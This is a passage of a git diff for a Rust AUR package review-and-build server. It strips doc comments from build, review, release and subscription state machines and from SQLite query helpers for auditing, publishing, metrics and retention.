PartialEq, Eq, PartialOrd, Ord, Serialize, Deserialize)] pub struct WorldMember { pub pkgbase: String, pub version: String, } -/// The identity tuple of a candidate (§3). Every element is part of the key. #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] pub struct Identity { pub aur_commit: String, @@ -79,30 +58,18 @@ pub struct Identity { } impl Identity { - /// The hash that makes I3 a fact: two byte-identical inputs never produce two - /// candidates, and any change to what becomes a byte in the artifact produces a - /// new one. This is the value an approval must echo; a value that cannot be - /// serialized is an error rather than a digest, because a shared fallback - /// digest would be the one way two identities could collide by accident. pub fn hash(&self) -> crate::error::Result<String> { Ok(format!("sha256:{}", hash::hex(hash::canonical_json(self)?.as_bytes()))) } } -/// The review state machine (§7.1). A decision must never be overwritten by -/// accident — an approval that silently replaced a rejection would break I2 and -/// I3 without any symptom — so the states are an enum and -/// [`crate::db::candidates::resolve_in`] refuses a move the machine forbids. #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] #[serde(rename_all = "snake_case")] pub enum CandidateState { - /// The only state a reviewer can act on. PendingReview, Approved, Rejected, - /// A newer review of the same pkgbase took its place (§7.1). Superseded, - /// Not approved because something it needs is missing (§10.4). Blocked, } @@ -133,7 +100,6 @@ impl CandidateState { *self == CandidateState::PendingReview } - /// Re-writing the state a row already has is a no-op, not a move. pub fn can_transition(&self, to: CandidateState) -> bool { use CandidateState::*; if *self == to { @@ -141,7 +107,6 @@ impl CandidateState { } match self { PendingReview => matches!(to, Approved | Rejected | Superseded | Blocked), - // A decided review is only ever frozen, never re-decided (§7.1). Approved | Rejected => to == Superseded, Blocked => matches!(to, PendingReview | Approved | Rejected), Superseded => false, @@ -168,14 +133,11 @@ pub mod candidate_kind { pub const FIRST_INTRODUCTION: &str = "first_introduction"; } -/// The release state machine (§9). #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] #[serde(rename_all = "snake_case")] pub enum ReleaseState { Published, - /// Taken out of the index (§9 withdrawal); the row stays (§15). Withdrawn, - /// Approved, but the build never produced it: the old version still serves. FailedUnbuilt, } @@ -198,7 +160,6 @@ impl ReleaseState { ReleaseState::ALL.iter().copied().find(|r| r.as_str() == s) } - /// Withdrawal is the only move a release makes on its own. pub fn can_transition(&self, to: ReleaseState) -> bool { use ReleaseState::*; if *self == to { @@ -217,11 +178,7 @@ impl std::fmt::Display for ReleaseState { } } -/// What the state enums below have in common: a closed set of column values, -/// parsed where a row is read, so `db::state_col` can fail an unknown state -/// instead of defaulting it. pub trait StateEnum: Copy + Sized { - /// The name of the machine, for the error message. const KIND: &'static str; fn parse(text: &str) -> Option<Self>; fn as_str(&self) -> &'static str; @@ -247,17 +204,11 @@ impl_state_enum!(StepState, "build step"); impl_state_enum!(ReleaseState, "release"); impl_state_enum!(SubscriptionState, "subscription"); -/// The build state machine (§7.1, §8.2). A state is one of these seven, it is -/// parsed where a row is read, and `can_transition` is the only way a write -/// happens. #[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)] pub enum BuildState { Queued, - /// Claimed by a worker with a lease (§8.2). Leased, - /// A step is executing. Running, - /// Waiting for packages another build must publish first (§10.4). BlockedMissingDep, Succeeded, Failed, @@ -275,8 +226,6 @@ impl BuildState { BuildState::Cancelled, ]; - /// The text in the `state` column — a spelling the reaper, dispatcher and UI - /// all speak. pub fn as_str(&self) -> &'static str { match self { BuildState::Queued => "queued", @@ -289,14 +238,10 @@ impl BuildState { } } - /// An unrecognised state is `None`, and the row boundary turns that into an - /// error: a state we cannot name is one we must not act on. pub fn parse(s: &str) -> Option<BuildState> { BuildState::ALL.iter().copied().find(|b| b.as_str() == s) } - /// Nothing happens to a finished build by itself; only an explicit human - /// requeue or resume moves it again. pub fn is_terminal(&self) -> bool { matches!( self, @@ -304,32 +249,22 @@ impl BuildState { ) } - /// Writing the state a row already has is always allowed: the step loop - /// re-asserts `Running` at every step boundary (§8.3). Everything else is - /// refused by [`crate::db::builds::set_state`], and the refusals are the point: - /// nothing revives a `Succeeded` build, and a build reaped back to `Queued` - /// cannot be completed by the zombie worker that lost its lease. pub fn can_transition(&self, to: BuildState) -> bool { use BuildState::*; if *self == to { return true; } match self { - // The dispatcher claims queued builds; `aur-build run <id>` runs one - // in the foreground without a lease. Queued => matches!(to, Leased | Running | BlockedMissingDep | Cancelled), Leased => matches!(to, Running | Queued | BlockedMissingDep | Succeeded | Failed | Cancelled), Running => matches!(to, Queued | BlockedMissingDep | Succeeded | Failed | Cancelled), BlockedMissingDep => matches!(to, Queued | Cancelled), - // A failed build is resumed on the same row — that is I5 (§8.4). Failed => matches!(to, Queued | Running), Cancelled => to == Queued, Succeeded => false, } } - /// Every state that may legally move to `to` — the `WHERE state IN (...)` - /// that makes a state write a compare-and-swap. pub fn predecessors(to: BuildState) -> Vec<&'static str> { BuildState::ALL .iter() @@ -354,9 +289,6 @@ impl std::fmt::Display for BuildState { } } -/// The step checkpoint state machine (§8.3, I5). The checkpoint row is what a -/// resumed build reads to decide what not to redo, so a completed checkpoint is -/// frozen. #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] #[serde(rename_all = "snake_case")] pub enum StepState { @@ -364,7 +296,6 @@ pub enum StepState { Running, Succeeded, Failed, - /// Killed mid-step; the reaper writes this so the resume re-runs it (§8.2). Interrupted, Skipped, } @@ -394,8 +325,6 @@ impl StepState { StepState::ALL.iter().copied().find(|st| st.as_str() == text) } - /// I5: the resume skips a step in one of these two states, so nothing may - /// move it again. pub fn is_done(&self) -> bool { matches!(self, StepState::Succeeded | StepState::Skipped) } @@ -407,8 +336,6 @@ impl StepState { } match self { Pending => matches!(to, Running | Succeeded | Failed | Interrupted | Skipped), - // `Running → Pending` is the blocked path: the step did not happen, - // so the checkpoint goes back to waiting. Running => matches!(to, Pending | Succeeded | Failed | Interrupted | Skipped), Failed | Interrupted => matches!(to, Pending | Running), Succeeded | Skipped => false, @@ -442,13 +369,11 @@ pub mod notice_kind { pub const DOWNGRADE: &str = "downgrade"; } -/// Whether a pkgbase is being watched (§4.1, §12). #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] #[serde(rename_all = "snake_case")] pub enum SubscriptionState { Active, Paused, - /// The pkgbase left AUR; the watcher stopped looking (§12). Orphaned, Removed, } @@ -474,8 +399,6 @@ impl SubscriptionState { SubscriptionState::ALL.iter().copied().find(|st| st.as_str() == text) } - /// Pause and resume are the only moves the UI makes; orphaned and removed - /// are facts about the pkgbase, reported once. pub fn can_transition(&self, to: SubscriptionState) -> bool { use SubscriptionState::*; if *self == to { @@ -496,8 +419,6 @@ impl std::fmt::Display for SubscriptionState { } } -/// The pipeline steps (§8.1). Order matters: a build resumes at the first step -/// in this list without a `succeeded` row. pub const BUILD_STEPS: &[&str] = &[ "materialize", "plan", @@ -511,20 +432,15 @@ pub const BUILD_STEPS: &[&str] = &[ "publish", ]; -/// A `source=()` entry after parsing. #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] pub struct SourceEntry { pub index: usize, - /// The URL as written, minus the filename fragment. pub url: String, - /// Explicit filename (`::name` / `::` prefix handling). pub filename: Option<String>, pub commit: Option<String>, pub tag: Option<String>, pub branch: Option<String>, - /// Set when the url is prefixed `git+`, `svn+`, `hg+`, `bzr+`. pub vcs: Option<String>, - /// True for files shipped inside the AUR repo (no scheme). pub local: bool, } @@ -534,7 +450,6 @@ impl SourceEntry { } } -/// A parsed recipe: what `.SRCINFO` / `PKGBUILD` tell us. #[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] pub struct Recipe { pub pkgbase: String, @@ -559,15 +474,11 @@ pub struct Recipe { pub options: Vec<String>, pub backup: Vec<String>, pub install: Option<String>, - /// Names of the binary packages this pkgbase emits (split pkgbases have N). pub pkgnames: Vec<String>, pub pkg_depends: Vec<(String, Vec<String>)>, - /// Raw PKGBUILD text, for display and diffing. pub pkgbuild: String, pub srcinfo: Option<String>, - /// True if `--skippgpcheck` appears in the PKGBUILD. pub skipgpcheck: bool, - /// Derived from `source`, so not serialized. #[serde(skip, default)] pub source_entries: Vec<SourceEntry>, } @@ -578,7 +489,6 @@ impl Recipe { } } -/// A source row as stored on a candidate/release. #[derive(Debug, Clone, Serialize, Deserialize)] pub struct ReleaseRow { pub id: i64, @@ -652,7 +562,6 @@ impl CandidateRow { } } -/// Parse a JSON column with a fallback, so one bad row never takes down a page. pub fn json_or<T: serde::de::DeserializeOwned>(s: &str, fallback: T) -> T { serde_json::from_str(s).unwrap_or(fallback) } diff --git a/src/db/queries.rs b/src/db/queries.rs index 924051d..583676b 100644 --- a/src/db/queries.rs +++ b/src/db/queries.rs @@ -6,10 +6,6 @@ use crate::time; // ---------------------------------------------------------------- settings -- -/// Every setting, for the settings page. -/// -/// Row-error policy, applied everywhere in `db` (m-9): a row that cannot be read -/// fails the query rather than being dropped silently. pub fn all_settings(db: &Db) -> Result<Vec<(String, String)>> { db.read(|c| { let mut st = c.prepare("SELECT key, value FROM settings ORDER BY key")?; @@ -26,13 +22,6 @@ pub fn setting(db: &Db, key: &str) -> Result<Option<String>> { }) } -/// An integer setting, or `default`. -/// -/// The policy, stated once (m-9): a *missing* setting is normal — the default is -/// the answer. A setting present but unparseable, or a read that failed, is not, -/// and silently returning the default would hide an operator's typo. Both still -/// fall back, because refusing to start over a tuning knob is worse — but they -/// fall back out loud. pub fn setting_i64(db: &Db, key: &str, default: i64) -> i64 { match setting(db, key) { Ok(None) => default, @@ -62,7 +51,6 @@ pub fn set_setting(writer: &Writer, key: &str, value: &str) -> Result<()> { // ------------------------------------------------------------------- audit -- -/// Append an audit row (I10). Every state transition funnels through here. pub fn audit( writer: &Writer, actor_kind: &str, @@ -94,9 +82,6 @@ pub fn audit( }) } -/// An audit row to append inside someone else's transaction. Build one with -/// [`AuditEntry::human`] or [`AuditEntry::system`]: `actor_kind` is a closed set -/// and the timestamp is not the caller's to improvise (§6 m-4). #[derive(Debug)] pub struct AuditEntry<'a> { pub at: &'a str, @@ -109,7 +94,6 @@ pub struct AuditEntry<'a> { } impl<'a> AuditEntry<'a> { - /// A decision a named human made (§11: every approval is attributable). pub fn human( at: &'a str, actor: &'a str, @@ -121,7 +105,6 @@ impl<'a> AuditEntry<'a> { Self { at, actor_kind: "human", actor, action, entity, entity_id, detail } } - /// Something the server did by itself: a publish, a requeue, a watcher tick. pub fn system( at: &'a str, action: &'a str, @@ -133,8 +116,6 @@ impl<'a> AuditEntry<'a> { } } -/// Append an audit row inside a caller's transaction (I10), so the record of a -/// decision commits with the decision or not at all. pub fn audit_in(tx: &rusqlite::Transaction<'_>, e: &AuditEntry<'_>) -> Result<()> { tx.execute( "INSERT INTO audit (at, actor_kind, actor, action, entity, entity_id, detail_json) @@ -150,7 +131,6 @@ pub fn audit_system(writer: &Writer, action: &str, entity: &str, entity_id: &str // -------------------------------------------------------------------- repo -- -/// Ensure the single repo row exists (decision 4: exactly one). pub fn ensure_repo(writer: &Writer, name: &str, path: &str, arch: &str, key: &str) -> Result<i64> { let (n, p, a, k) = (name.to_string(), path.to_string(), arch.to_string(), key.to_string()); writer.tx(move |tx| { @@ -229,7 +209,6 @@ pub fn get_subscription(db: &Db, pkgbase: &str) -> Result<Option<Subscription>> }) } -/// Subscribe: creates the pkgbase row and an active subscription. Idempotent. pub fn subscribe(writer: &Writer, repo_id: i64, pkgbase: &str, aur_url: &str) -> Result<i64> { let (p, u) = (pkgbase.to_string(), aur_url.to_string()); let at = time::now(); @@ -274,7 +253,6 @@ pub fn note_check(writer: &Writer, pkgbase: &str, next_check_at: &str, err: Opti }) } -/// Subscriptions whose next check is due. pub fn due_subscriptions(db: &Db, now: &str) -> Result<Vec<Subscription>> { db.read(|c| { let mut stmt = c.prepare(&format!( @@ -378,8 +356,6 @@ pub fn set_unpinable(writer: &Writer, pkgbase_id: i64, unpinable: bool) -> Resul }) } -/// Compare-and-swap the accepted-release pointer (§16: concurrent approvals). -/// Returns Ok(true) when the swap happened. pub fn cas_accepted_release( writer: &Writer, pkgbase_id: i64, @@ -398,7 +374,6 @@ pub fn cas_accepted_release( // ---------------------------------------------------------------- snapshot -- -/// Insert-or-get a snapshot for (pkgbase, aur_commit). #[allow(clippy::too_many_arguments)] pub fn put_snapshot( writer: &Writer, @@ -509,12 +484,6 @@ const RELEASE_COLS_R: &str = "r.id, r.pkgbase_id, r.candidate_id, r.approval_id, r.recipe_hash, r.upstream_pins_json, r.source_digests_json, r.epoch, r.pkgver, r.pkgrel, \ r.world_snapshot_id, r.state, r.published_at"; -/// Take a release out of the served index (§9, decision 23), in the caller's -/// transaction so the removal and the audit row explaining it are one fact. -/// -/// Refuses a release that is not currently published (m-10): re-withdrawing used -/// to report success and rewrite nothing. The write is a compare-and-swap on -/// `state='published'`, and the refusal names the state that was actually there. pub fn withdraw_release_in(tx: &rusqlite::Transaction<'_>, release_id: i64) -> Result<()> { let n = tx.execute( "UPDATE release SET state='withdrawn' WHERE id=?1 AND state='published'", @@ -551,8 +520,6 @@ pub fn release_by_id(db: &Db, id: i64) -> Result<Option<ReleaseRow>> { }) } -/// The accepted release of a pkgbase, by name. `None` for a pkgbase that has -/// never been accepted — the case that makes `first_introduction` special (§7.1b). pub fn accepted_release(db: &Db, pkgbase: &str) -> Result<Option<ReleaseRow>> { db.read(|c| { c.query_row( @@ -609,7 +576,6 @@ pub struct PackageRow { pub version: String, pub artifact_id: Option<i64>, pub pkgbase: String, - /// Bytes of the packaged .pkg.tar.zst, so the index page can show a size. pub size: Option<i64>, pub published_at: Option<String>, } @@ -647,7 +613,6 @@ pub fn index_packages(db: &Db) -> Result<Vec<PackageRow>> { }) } -/// Version of the package with this name currently in our index, if any. pub fn index_version(db: &Db, name: &str) -> Result<Option<String>> { db.read(|c| { c.query_row( @@ -661,9 +626,6 @@ pub fn index_version(db: &Db, name: &str) -> Result<Option<String>> { }) } -/// The exact artifact we serve for a package name: `(version, digest)`. This is -/// what a build's lease manifest pins — the dependency arrives as these bytes or -/// the build fails closed (§8). pub fn index_artifact(db: &Db, name: &str) -> Result<Option<(String, String)>> { db.read(|c| { c.query_row( @@ -678,8 +640,6 @@ pub fn index_artifact(db: &Db, name: &str) -> Result<Option<(String, String)>> { }) } -/// Is `name` one of the packages we publish? Used to filter world snapshots -/// down to our own packages (§10.1). pub fn is_ours(db: &Db, name: &str) -> Result<bool> { db.read(|c| { c.query_row( @@ -693,7 +653,6 @@ pub fn is_ours(db: &Db, name: &str) -> Result<bool> { }) } -/// All package names we publish (in_index), as a set. pub fn our_package_names(db: &Db) -> Result<std::collections::BTreeSet<String>> { db.read(|c| { let mut stmt = c.prepare("SELECT DISTINCT name FROM package WHERE state='in_index'")?; @@ -706,9 +665,6 @@ pub fn our_package_names(db: &Db) -> Result<std::collections::BTreeSet<String>> }) } -/// The recipe the accepted release was actually built from, by walking -/// release -> candidate -> snapshot. Risk scoring compares against this, which -/// is why "last seen" can never leak into a review (§6, I2). pub fn accepted_recipe(db: &Db, release: &ReleaseRow) -> Result<Option<Recipe>> { let cid = match release.candidate_id { Some(c) => c, @@ -728,7 +684,6 @@ pub fn accepted_recipe(db: &Db, release: &ReleaseRow) -> Result<Option<Recipe>> }) } -/// Recent builds for one pkgbase, newest first. pub fn builds_for_pkgbase(db: &Db, pkgbase_id: i64, limit: i64) -> Result<Vec<crate::db::builds::BuildRow>> { db.read(move |c| { let mut st = c.prepare( @@ -738,18 +693,12 @@ pub fn builds_for_pkgbase(db: &Db, pkgbase_id: i64, limit: i64) -> Result<Vec<cr FROM build WHERE pkgbase_id=?1 ORDER BY rowid DESC LIMIT ?2", )?; let rows = st.query_map(params![pkgbase_id, limit], crate::db::builds::row_to_build)?; - // A row we cannot read is an error, not a build that quietly disappears - // from the package page. rows.collect::<::rusqlite::Result<Vec<_>>>().map_err(Into::into) }) } // ------------------------------------------------------------ publish writes -- -// -// Publishing is the one externally visible step, so every statement it needs is -// here and the *decision* stays in `pipeline::publish` (I4). -/// The on-disk path of an artifact, by id. pub fn artifact_path(db: &Db, id: i64) -> Result<Option<String>> { db.read(|c| { Ok(c.query_row("SELECT path FROM artifact WHERE id=?1", params![id], |r| r.get::<_, String>(0)) @@ -757,15 +706,12 @@ pub fn artifact_path(db: &Db, id: i64) -> Result<Option<String>> { }) } -/// The artifact row for a content digest, if one exists. Two releases built from -/// identical bytes share one artifact row — that is the point of the digest. pub fn artifact_id_by_digest_in(tx: &rusqlite::Transaction<'_>, digest: &str) -> Result<Option<i64>> { Ok(tx .query_row("SELECT id FROM artifact WHERE digest=?1", params![digest], |r| r.get::<_, i64>(0)) .optional()?) } -/// The pkgbase's accepted pointer, read inside a transaction: the CAS baseline. pub fn accepted_pointer_in(tx: &rusqlite::Transaction<'_>, pkgbase_id: i64) -> Result<Option<i64>> { tx.query_row( "SELECT current_accepted_release_id FROM pkgbase WHERE id=?1", @@ -777,8 +723,6 @@ pub fn accepted_pointer_in(tx: &rusqlite::Transaction<'_>, pkgbase_id: i64) -> R .map_err(Into::into) } -/// Compare-and-swap the accepted pointer inside a transaction. `false` means it -/// was not where the caller thought it was, and the publish must not land. pub fn cas_accepted_release_in( tx: &rusqlite::Transaction<'_>, pkgbase_id: i64, @@ -792,8 +736,6 @@ pub fn cas_accepted_release_in( Ok(moved == 1) } -/// Retire whatever the index held for these names. The index holds exactly the -/// accepted pointers, so this runs before the new rows go in. pub fn remove_index_packages_in(tx: &rusqlite::Transaction<'_>, names: &[String]) -> Result<()> { if names.is_empty() { return Ok(()); @@ -805,7 +747,6 @@ pub fn remove_index_packages_in(tx: &rusqlite::Transaction<'_>, names: &[String] Ok(()) } -/// Retire one named package from the index (the §9 withdrawal path). pub fn remove_package_by_name_in(tx: &rusqlite::Transaction<'_>, repo_id: i64, name: &str) -> Result<()> { tx.execute( "UPDATE package SET state='removed' WHERE repo_id=?1 AND name=?2", @@ -814,8 +755,6 @@ pub fn remove_package_by_name_in(tx: &rusqlite::Transaction<'_>, repo_id: i64, n Ok(()) } -/// Everything a published release records. Borrowed because the caller is in the -/// middle of a transaction and has the values on the stack. pub struct NewRelease<'a> { pub pkgbase_id: i64, pub candidate_id: Option<i64>, @@ -831,7 +770,6 @@ pub struct NewRelease<'a> { pub build_id: &'a str, } -/// Insert the release row and return its id. pub fn insert_release_in(tx: &mut rusqlite::Transaction<'_>, r: &NewRelease<'_>, at: &str) -> Result<i64> { tx.execute( "INSERT INTO release (pkgbase_id, candidate_id, approval_id, aur_commit, recipe_hash, @@ -857,7 +795,6 @@ pub fn insert_release_in(tx: &mut rusqlite::Transaction<'_>, r: &NewRelease<'_>, Ok(tx.last_insert_rowid()) } -/// Put one package into the index, pointing at the artifact with this digest. pub fn insert_package_in( tx: &rusqlite::Transaction<'_>, repo_id: i64, @@ -877,12 +814,7 @@ pub fn insert_package_in( } // ------------------------------------------------------------ staleness reads -- -// -// Staleness is derived on read (§10.2). These return plain tuples: the *meaning* -// is `watch::staleness`'s business, the SQL is this module's. -/// `(pkgbase, world members JSON)` for every published release, taken from the -/// world snapshot its build recorded (§10.1). pub fn published_world_members(db: &Db) -> Result<Vec<(String, String)>> { db.read(|c| { let mut st = c.prepare( @@ -898,8 +830,6 @@ pub fn published_world_members(db: &Db) -> Result<Vec<(String, String)>> { }) } -/// `(pkgbase, served pkgver, newest candidate pkgver)` for every accepted -/// release — the pair the downgrade check compares (§10.2). pub fn served_vs_offered_pkgvers(db: &Db) -> Result<Vec<(String, String, String)>> { db.read(|c| { let mut st = c.prepare( @@ -922,12 +852,6 @@ pub fn served_vs_offered_pkgvers(db: &Db) -> Result<Vec<(String, String, String) }) } -/// Every in-index package's recipe JSON, as (name, srcinfo_json) — what each -/// dependency list actually said. -/// -/// One query, not one per package (m-17): `watch::staleness::dependents_of` -/// wants the whole table, and asking per name was an N+1 on a path that runs -/// after every publish. pub fn index_recipes(db: &Db) -> Result<Vec<(String, String)>> { db.read(|c| { let mut stmt = c.prepare( @@ -946,7 +870,6 @@ pub fn index_recipes(db: &Db) -> Result<Vec<(String, String)>> { }) } -/// The note a reviewer left on an approval, empty when there was none. pub fn approval_note(db: &Db, approval_id: i64) -> Result<String> { db.read(|c| { c.query_row("SELECT COALESCE(note,'') FROM approval WHERE id=?1", params![approval_id], |r| r.get::<_, String>(0)) @@ -956,7 +879,6 @@ pub fn approval_note(db: &Db, approval_id: i64) -> Result<String> { }) } -/// The snapshot a candidate was created from, for rendering its diff. pub fn candidate_snapshot_id(db: &Db, candidate_id: i64) -> Result<Option<i64>> { db.read(|c| { Ok(c.query_row("SELECT snapshot_id FROM candidate WHERE id=?1", params![candidate_id], |r| r.get::<_, i64>(0)) @@ -964,8 +886,6 @@ pub fn candidate_snapshot_id(db: &Db, candidate_id: i64) -> Result<Option<i64>> }) } -/// The poll interval configured for a subscription, as the scheduler already -/// knows it (§5.1: one place decides how often a pkgbase is checked). pub fn subscription_poll_interval(db: &Db, pkgbase: &str) -> Result<Option<i64>> { db.read(|c| { Ok(c.query_row( @@ -978,7 +898,6 @@ pub fn subscription_poll_interval(db: &Db, pkgbase: &str) -> Result<Option<i64>> }) } -/// Record a fetched source in the content-addressed cache (§5.3). pub fn put_source_cache(writer: &Writer, url: &str, digest: &str, size: u64, path: &str) -> Result<()> { let (u, d, p) = (url.to_string(), digest.to_string(), path.to_string()); let at = time::now(); @@ -992,7 +911,6 @@ pub fn put_source_cache(writer: &Writer, url: &str, digest: &str, size: u64, pat }) } -/// Where a cached source with this url+digest lives on disk. pub fn source_cache_path(db: &Db, url: &str, digest: &str) -> Result<Option<String>> { db.read(|c| { Ok(c.query_row( @@ -1004,7 +922,6 @@ pub fn source_cache_path(db: &Db, url: &str, digest: &str) -> Result<Option<Stri }) } -/// An artifact produced by a build, ready to record. pub struct NewArtifact<'a> { pub digest: &'a str, pub size: i64, @@ -1015,9 +932,6 @@ pub struct NewArtifact<'a> { pub at: &'a str, } -/// Record an artifact produced by a build. Identical bytes are one row: the -/// digest is the identity, and the row is re-stamped with the build that most -/// recently produced them. pub fn insert_artifact_in(tx: &rusqlite::Transaction<'_>, a: &NewArtifact<'_>) -> Result<()> { tx.execute( "INSERT INTO artifact (digest, size, path, signature_path, build_log_path, build_id, created_at) @@ -1030,7 +944,6 @@ pub fn insert_artifact_in(tx: &rusqlite::Transaction<'_>, a: &NewArtifact<'_>) - // --------------------------------------------------------- stage B cache -- -/// Exact cache hit: same recipe, same upstream tips (§5.2). pub fn stage_b_cache_get(db: &Db, pkgbase_id: i64, recipe_hash: &str, tip_hash: &str) -> Result<Option<StageBCacheRow>> { let (rh, th) = (recipe_hash.to_string(), tip_hash.to_string()); db.read(move |c| { @@ -1058,7 +971,6 @@ pub fn stage_b_cache_get(db: &Db, pkgbase_id: i64, recipe_hash: &str, tip_hash: }) } -/// The most recent answer for this pkgbase, if it is inside the cooldown window. pub fn stage_b_recent(db: &Db, pkgbase_id: i64, cooldown_secs: i64) -> Result<Option<StageBCacheRow>> { let cutoff = crate::time::secs_ago(cooldown_secs); db.read(move |c| { @@ -1132,8 +1044,6 @@ pub fn put_notice( }) } -/// Suppress a notice if an identical unacknowledged one already exists, so a -/// watcher polling daily does not spam the same alert. pub fn put_notice_once( writer: &Writer, pkgbase_id: i64, @@ -1290,11 +1200,7 @@ pub fn list_audit(db: &Db, limit: i64) -> Result<Vec<AuditRow>> { } // -------------------------------------------------------------- metrics reads -- -// -// The metrics surface is derived from live state, never stored (§10.3). -/// The `count(*)` idiom in one place, so a metric cannot accidentally become a -/// `count(*)` of a join. fn count_rows(db: &Db, sql: &str) -> Result<i64> { let sql = sql.to_string(); db.read(move |c| { @@ -1303,7 +1209,6 @@ fn count_rows(db: &Db, sql: &str) -> Result<i64> { }) } -/// `(state, count)` for every build state present. pub fn build_state_counts(db: &Db) -> Result<Vec<(String, i64)>> { db.read(|c| { let mut st = c.prepare("SELECT state, count(*) FROM build GROUP BY state ORDER BY state")?; @@ -1316,7 +1221,6 @@ pub fn build_state_counts(db: &Db) -> Result<Vec<(String, i64)>> { }) } -/// Seconds the oldest queued build has been waiting; 0 when the queue is empty. pub fn oldest_queued_age_secs(db: &Db, now: &str) -> Result<i64> { db.read(|c| { c.query_row( @@ -1330,12 +1234,10 @@ pub fn oldest_queued_age_secs(db: &Db, now: &str) -> Result<i64> { }) } -/// How many candidates are waiting for a decision. pub fn count_pending_reviews(db: &Db) -> Result<i64> { count_rows(db, "SELECT count(*) FROM candidate WHERE state='pending_review'") } -/// Age in seconds of every pending review; the caller sorts them. pub fn pending_review_ages_secs(db: &Db, now: &str) -> Result<Vec<i64>> { db.read(|c| { let mut st = c.prepare("SELECT julianday(?1) - julianday(detected_at) FROM candidate WHERE state='pending_review'")?; @@ -1364,7 +1266,6 @@ pub fn count_unacknowledged_notices(db: &Db) -> Result<i64> { count_rows(db, "SELECT count(*) FROM notice WHERE acknowledged_at IS NULL") } -/// Bytes of artifact still on disk. Purged rows are history, not usage. pub fn artifact_bytes_served(db: &Db) -> Result<u64> { db.read(|c| { c.query_row( @@ -1377,7 +1278,6 @@ pub fn artifact_bytes_served(db: &Db) -> Result<u64> { }) } -/// Seconds since the last retention run, if there has been one. pub fn last_gc_age_secs(db: &Db, now: &str) -> Result<Option<i64>> { let at = db.read(|c| { c.query_row("SELECT max(ran_at) FROM gc_run", [], |r| r.get::<_, Option<String>>(0)) @@ -1386,8 +1286,6 @@ pub fn last_gc_age_secs(db: &Db, now: &str) -> Result<Option<i64>> { Ok(at.and_then(|t| time::delta_secs(now, &t))) } -/// Seconds since the last successful poll of any source. This is the metric that -/// catches a watcher that stopped. pub fn last_poll_age_secs(db: &Db, now: &str) -> Result<Option<i64>> { let at = db.read(|c| { c.query_row("SELECT max(last_checked_at) FROM subscription", [], |r| r.get::<_, Option<String>>(0)) @@ -1398,7 +1296,6 @@ pub fn last_poll_age_secs(db: &Db, now: &str) -> Result<Option<i64>> { // -------------------------------------------------------------- retention reads -- -/// `(pkgbase id, current accepted release)` for every pkgbase, in id order. pub fn pkgbase_release_pointers(db: &Db) -> Result<Vec<(i64, Option<i64>)>> { db.read(|c| { let mut st = c.prepare("SELECT id, current_accepted_release_id FROM pkgbase ORDER BY id")?; @@ -1411,7 +1308,6 @@ pub fn pkgbase_release_pointers(db: &Db) -> Result<Vec<(i64, Option<i64>)>> { }) } -/// Published release ids of one pkgbase, newest first. pub fn published_release_ids(db: &Db, pkgbase_id: i64) -> Result<Vec<i64>> { db.read(|c| { let mut st = c.prepare("SELECT id FROM release WHERE pkgbase_id=?1 AND state='published' ORDER BY id DESC")?; @@ -1424,8 +1320,6 @@ pub fn published_release_ids(db: &Db, pkgbase_id: i64) -> Result<Vec<i64>> { }) } -/// Releases of one pkgbase that still back an `in_index` package. Retention must -/// never evict these: the index is pointing at their bytes right now. pub fn serving_release_ids(db: &Db, pkgbase_id: i64) -> Result<Vec<i64>> { db.read(|c| { let mut st = c.prepare( @@ -1441,12 +1335,8 @@ pub fn serving_release_ids(db: &Db, pkgbase_id: i64) -> Result<Vec<i64>> { }) } -/// The three paths one artifact row points at: the package, its signature and -/// its build log. Any of them can be absent (an unsigned build, a log that was -/// already purged). pub type ArtifactPaths = (Option<String>, Option<String>, Option<String>); -/// The artifact paths one release holds: package, signature, build log. pub fn release_artifact_paths(db: &Db, release_id: i64) -> Result<Vec<ArtifactPaths>> { db.read(|c| { let mut st = c.prepare( @@ -1464,9 +1354,6 @@ pub fn release_artifact_paths(db: &Db, release_id: i64) -> Result<Vec<ArtifactPa }) } -/// Mark a release and the artifacts behind it as purged, in one transaction. -/// Half-marking them would leave the next retention pass believing the files are -/// still retained. pub fn mark_release_purged(writer: &Writer, release_id: i64) -> Result<()> { let at = time::now(); writer.tx(move |tx| { @@ -1480,8 +1367,6 @@ pub fn mark_release_purged(writer: &Writer, release_id: i64) -> Result<()> { }) } -/// Record a retention run, which is what the ops page and the `last_gc_age` -/// metric read. pub fn record_gc_run(writer: &Writer, at: &str, kept: i64, evicted: i64, files_removed: i64, bytes_freed: i64, staging_swept: i64) -> Result<()> { let at = at.to_string(); writer.tx(move |tx| { @@ -1496,8 +1381,6 @@ pub fn record_gc_run(writer: &Writer, at: &str, kept: i64, evicted: i64, files_r // ------------------------------------------------------- invariant helpers -- -/// I1: every artifact in a served repo index traces to an approval row. -/// Returns offending package names; empty means the invariant holds. pub fn unapproved_index_entries(db: &Db) -> Result<Vec<String>> { db.read(|c| { let mut stmt = c.prepare( @@ -1515,8 +1398,6 @@ pub fn unapproved_index_entries(db: &Db) -> Result<Vec<String>> { }) } -/// I8: the set of packages in the index is exactly the set of -/// `current_accepted_release` pointers for active subscriptions. pub fn index_pkgbase_drift(db: &Db) -> Result<(Vec<String>, Vec<String>)> { db.read(|c| { let mut orphans = Vec::new(); @@ -1548,15 +1429,10 @@ pub fn index_pkgbase_drift(db: &Db) -> Result<(Vec<String>, Vec<String>)> { }) } -/// An approved change whose build failed and never reached the index (§8.4). A -/// human said yes, the build died, and the index is quietly still serving the -/// previous version; surfacing that is the whole point. #[derive(Debug, Clone)] pub struct Unbuilt { pub pkgbase: String, - /// The version that was approved but never published. pub approved: String, - /// The version the index actually serves, empty if nothing is served. pub serving: String, pub error: String, pub build_id: String, @@ -1564,9 +1440,6 @@ pub struct Unbuilt { pub fn approved_but_unbuilt(db: &Db) -> Result<Vec<Unbuilt>> { db.read(|c| { - // The version strings are assembled in Rust by `pkgver::full_version`, - // not by a CASE expression here (m-18): a second copy of the - // epoch-omission rule in SQL is a second rule that can disagree. let mut stmt = c.prepare( "SELECT p.name, cnd.epoch, cnd.pkgver, cnd.pkgrel, @@ -1603,9 +1476,6 @@ pub fn approved_but_unbuilt(db: &Db) -> 